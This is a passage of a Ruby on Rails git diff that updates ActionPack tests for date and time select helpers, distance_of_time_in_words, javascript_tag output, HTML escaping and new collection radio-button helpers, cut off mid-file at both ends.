     assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
     assert_equal "over 1 year",     distance_of_time_in_words(from, to + 1.years + 6.months)
@@ -95,7 +119,8 @@ class DateHelperTest < ActionView::TestCase
 
     # test to < from
     assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => false)
   end
 
   def test_distance_in_words
@@ -103,6 +128,11 @@ class DateHelperTest < ActionView::TestCase
     assert_distance_of_time_in_words(from)
   end
 
+  def test_time_ago_in_words_passes_include_seconds
+    assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, :include_seconds => true)
+    assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, :include_seconds => false)
+  end
+
   def test_distance_in_words_with_time_zones
     from = Time.mktime(2004, 6, 6, 21, 45, 0)
     assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
@@ -125,13 +155,33 @@ class DateHelperTest < ActionView::TestCase
     start_date = Date.new 1982, 12, 3
     end_date = Date.new 2010, 11, 30
     assert_equal("almost 28 years", distance_of_time_in_words(start_date, end_date))
+    assert_equal("almost 28 years", distance_of_time_in_words(end_date, start_date))
   end
 
   def test_distance_in_words_with_integers
-    assert_equal "less than a minute", distance_of_time_in_words(59)
+    assert_equal "1 minute", distance_of_time_in_words(59)
     assert_equal "about 1 hour", distance_of_time_in_words(60*60)
-    assert_equal "less than a minute", distance_of_time_in_words(0, 59)
+    assert_equal "1 minute", distance_of_time_in_words(0, 59)
     assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
+    assert_equal "about 3 years", distance_of_time_in_words(10**8)
+    assert_equal "about 3 years", distance_of_time_in_words(0, 10**8)
+  end
+
+  def test_distance_in_words_with_times
+    assert_equal "1 minute", distance_of_time_in_words(30.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(59.seconds)
+    assert_equal "2 minutes", distance_of_time_in_words(119.seconds)
+    assert_equal "2 minutes", distance_of_time_in_words(1.minute + 59.seconds)
+    assert_equal "3 minutes", distance_of_time_in_words(2.minute + 30.seconds)
+    assert_equal "44 minutes", distance_of_time_in_words(44.minutes + 29.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(44.minutes + 30.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(60.minutes)
+
+    # include seconds
+    assert_equal "half a minute", distance_of_time_in_words(39.seconds, 0, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(40.seconds, 0, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(59.seconds, 0, :include_seconds => true)
+    assert_equal "1 minute", distance_of_time_in_words(60.seconds, 0, :include_seconds => true)
   end
 
   def test_time_ago_in_words
@@ -164,6 +214,15 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, select_day(nil, :include_blank => true)
   end
 
+  def test_select_day_with_two_digit_numbers
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), :use_two_digit_numbers => true)
+    assert_dom_equal expected, select_day(2, :use_two_digit_numbers => true)
+  end
+
   def test_select_day_with_html_options
     expected = %(<select id="date_day" name="date[day]" class="selector">\n)
     expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
@@ -198,6 +257,15 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, select_month(8)
   end
 
+  def test_select_month_with_two_digit_numbers
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2011, 8, 16), :use_two_digit_numbers => true)
+    assert_dom_equal expected, select_month(8, :use_two_digit_numbers => true)
+  end
+
   def test_select_month_with_disabled
     expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
     expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
@@ -549,7 +617,7 @@ class DateHelperTest < ActionView::TestCase
   end
 
   def test_select_minute_with_html_options
-    expected = expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
+    expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -693,7 +761,7 @@ class DateHelperTest < ActionView::TestCase
     # Since the order is incomplete nothing will be shown
     expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
     expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
 
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
   end
@@ -925,11 +993,20 @@ class DateHelperTest < ActionView::TestCase
     expected << "</select>\n"
 
     expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
-    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="16" />\n)
+    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
 
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_month => true, :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
   end
 
+  def test_select_date_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :prefix => "date[first]", :use_hidden => true })
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :prefix => "date[first]", :use_hidden => true })
+  end
+
   def test_select_datetime
     expected =  %(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
@@ -986,7 +1063,6 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :ampm => true)
   end
 
-
   def test_select_datetime_with_separators
     expected =  %(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
@@ -1167,6 +1243,47 @@ class DateHelperTest < ActionView::TestCase
       :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
   end
 
+  def test_select_datetime_with_custom_hours
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :start_hour => 1, :end_hour => 9, :prefix => "date[first]",
+      :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
+  def test_select_datetime_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :datetime_separator => "&mdash;", :date_separator => "/",
+      :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+  end
+
   def test_select_time
     expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
     expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
@@ -1342,6 +1459,17 @@ class DateHelperTest < ActionView::TestCase
       :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
   end
 
+  def test_select_time_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+  end
+
   def test_date_select
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
@@ -1379,6 +1507,39 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
   end
 
+  def test_date_select_without_day_and_month
+    @post = Post.new
+    @post.written_on = Date.new(2004, 2, 29)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n"
+    expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order => [ :year ])
+  end
+
+  def test_date_select_without_day_with_separator
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected <<  %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :date_separator => '/', :order => [ :month, :year ])
+  end
+
   def test_date_select_without_day_and_with_disabled_html_option
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
@@ -1551,7 +1712,7 @@ class DateHelperTest < ActionView::TestCase
     start_year = Time.now.year-5
     end_year   = Time.now.year+5
 
-    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i"/>' + "\n"
+    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
     expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << "<option value=\"\"></option>\n"
     start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
@@ -1565,6 +1726,40 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
   end
 
+  def test_date_select_with_nil_and_blank_and_discard_month
+    @post = Post.new
+
+    start_year = Time.now.year-5
+    end_year   = Time.now.year+5
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
+    expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :discard_month => true, :include_blank=>true)
+  end
+
+  def test_date_select_with_nil_and_blank_and_discard_year
+    @post = Post.new
+
+    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << "<option value=\"\"></option>\n"
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :discard_year => true, :include_blank=>true)
+  end
+
   def test_date_select_cant_override_discard_hour
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
@@ -2048,6 +2243,18 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
   end
 
+  def test_datetime_select_with_integer
+    @post = Post.new
+    @post.updated_at = 3
+    datetime_select("post", "updated_at")
+  end
+
+  def test_datetime_select_with_infinity # Float
+    @post = Post.new
+    @post.updated_at = (-1.0/0)
+    datetime_select("post", "updated_at")
+  end
+
   def test_datetime_select_with_default_prompt
     @post = Post.new
     @post.updated_at = nil
@@ -2357,7 +2564,7 @@ class DateHelperTest < ActionView::TestCase
     1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="15" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
 
     expected << " &mdash; "
 
@@ -2378,7 +2585,7 @@ class DateHelperTest < ActionView::TestCase
 
     expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
     expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="15" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
 
     expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2397,7 +2604,7 @@ class DateHelperTest < ActionView::TestCase
 
     expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
     expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="15" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
 
     expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -2795,6 +3002,10 @@ class DateHelperTest < ActionView::TestCase
     assert_match(/<time.*>Right now<\/time>/, time_tag(Time.now, 'Right now'))
   end
 
+  def test_time_tag_with_given_block
+    assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ '<span>Right now</span>'.html_safe })
+  end
+
   def test_time_tag_with_different_format
     time = Time.now
     expected = "<time datetime=\"#{time.xmlschema}\">#{I18n.l(time, :format => :short)}</time>"
diff --git a/actionpack/test/template/erb/tag_helper_test.rb b/actionpack/test/template/erb/tag_helper_test.rb
index a384e94766..84e328d8be 100644
--- a/actionpack/test/template/erb/tag_helper_test.rb
+++ b/actionpack/test/template/erb/tag_helper_test.rb
@@ -3,20 +3,17 @@ require "template/erb/helper"
 
 module ERBTest
   class TagHelperTest < BlockTestCase
-
-    extend ActiveSupport::Testing::Declarative
-
     test "percent equals works for content_tag and does not require parenthesis on method call" do
       assert_equal "<div>Hello world</div>", render_content("content_tag :div", "Hello world")
     end
 
     test "percent equals works for javascript_tag" do
-      expected_output = "<script type=\"text/javascript\">\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
+      expected_output = "<script>\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
       assert_equal expected_output, render_content("javascript_tag", "alert('Hello')")
     end
 
     test "percent equals works for javascript_tag with options" do
-      expected_output = "<script id=\"the_js_tag\" type=\"text/javascript\">\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
+      expected_output = "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
       assert_equal expected_output, render_content("javascript_tag(:id => 'the_js_tag')", "alert('Hello')")
     end
 
@@ -30,4 +27,4 @@ module ERBTest
       assert_equal expected_output, render_content("field_set_tag('foo')", "<%= 'hello' %>")
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/template/erb_util_test.rb b/actionpack/test/template/erb_util_test.rb
index 790ab1c74c..f1cb920963 100644
--- a/actionpack/test/template/erb_util_test.rb
+++ b/actionpack/test/template/erb_util_test.rb
@@ -1,18 +1,17 @@
 require 'abstract_unit'
-require 'active_support/core_ext/object/inclusion'
 
-class ErbUtilTest < Test::Unit::TestCase
+class ErbUtilTest < ActiveSupport::TestCase
   include ERB::Util
 
   ERB::Util::HTML_ESCAPE.each do |given, expected|
     define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
       assert_equal expected, html_escape(given)
     end
+  end
 
-    unless given == '"'
-      define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
-        assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
-      end
+  ERB::Util::JSON_ESCAPE.each do |given, expected|
+    define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
+      assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
     end
   end
 
@@ -40,8 +39,22 @@ class ErbUtilTest < Test::Unit::TestCase
 
   def test_rest_in_ascii
     (0..127).to_a.map {|int| int.chr }.each do |chr|
-      next if chr.in?('&"<>')
+      next if %('"&<>).include?(chr)
       assert_equal chr, html_escape(chr)
     end
   end
+
+  def test_html_escape_once
+    assert_equal '1 &lt;&gt;&amp;&quot;&#x27; 2 &amp; 3', html_escape_once('1 <>&"\' 2 &amp; 3')
+  end
+
+  def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
+    value = html_escape_once('1 < 2 &amp; 3')
+    assert !value.html_safe?
+  end
+
+  def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
+    value = html_escape_once('1 < 2 &amp; 3'.html_safe)
+    assert value.html_safe?
+  end
 end
diff --git a/actionpack/test/template/form_collections_helper_test.rb b/actionpack/test/template/form_collections_helper_test.rb
new file mode 100644
index 0000000000..c73e80ed88
--- /dev/null
+++ b/actionpack/test/template/form_collections_helper_test.rb
@@ -0,0 +1,336 @@
+require 'abstract_unit'
+
+class Category < Struct.new(:id, :name)
+end
+
+class FormCollectionsHelperTest < ActionView::TestCase
+  def assert_no_select(selector, value = nil)
+    assert_select(selector, :text => value, :count => 0)
+  end
+
+  def with_collection_radio_buttons(*args, &block)
+    @output_buffer = collection_radio_buttons(*args, &block)
+  end
+
+  def with_collection_check_boxes(*args, &block)
+    @output_buffer = collection_check_boxes(*args, &block)
+  end
+
+  # COLLECTION RADIO BUTTONS
+  test 'collection radio accepts a collection and generate inputs from value method' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'input[type=radio][value=true]#user_active_true'
+    assert_select 'input[type=radio][value=false]#user_active_false'
+  end
+
+  test 'collection radio accepts a collection and generate inputs from label method' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'label[for=user_active_true]', 'true'
+    assert_select 'label[for=user_active_false]', 'false'
+  end
+
+  test 'collection radio handles camelized collection values for labels correctly' do
+    with_collection_radio_buttons :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+    assert_select 'label[for=user_active_yes]', 'Yes'
+    assert_select 'label[for=user_active_no]', 'No'
+  end
+
+  test 'colection radio should sanitize collection values for labels correctly' do
+    with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+    assert_select 'label[for=user_name_099]', '$0.99'
+    assert_select 'label[for=user_name_199]', '$1.99'
+  end
+
+  test 'collection radio accepts checked item' do
+    with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => true
+
+    assert_select 'input[type=radio][value=true][checked=checked]'
+    assert_no_select 'input[type=radio][value=false][checked=checked]'
+  end
+
+  test 'collection radio accepts multiple disabled items' do
+    collection = [[1, true], [0, false], [2, 'other']]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => [true, false]
+
+    assert_select 'input[type=radio][value=true][disabled=disabled]'
+    assert_select 'input[type=radio][value=false][disabled=disabled]'
+    assert_no_select 'input[type=radio][value=other][disabled=disabled]'
+  end
+
+  test 'collection radio accepts single disable item' do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
+
+    assert_select 'input[type=radio][value=true][disabled=disabled]'
+    assert_no_select 'input[type=radio][value=false][disabled=disabled]'
+  end
+
+  test 'collection radio accepts html options as input' do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
+
+    assert_select 'input[type=radio][value=true].special-radio#user_active_true'
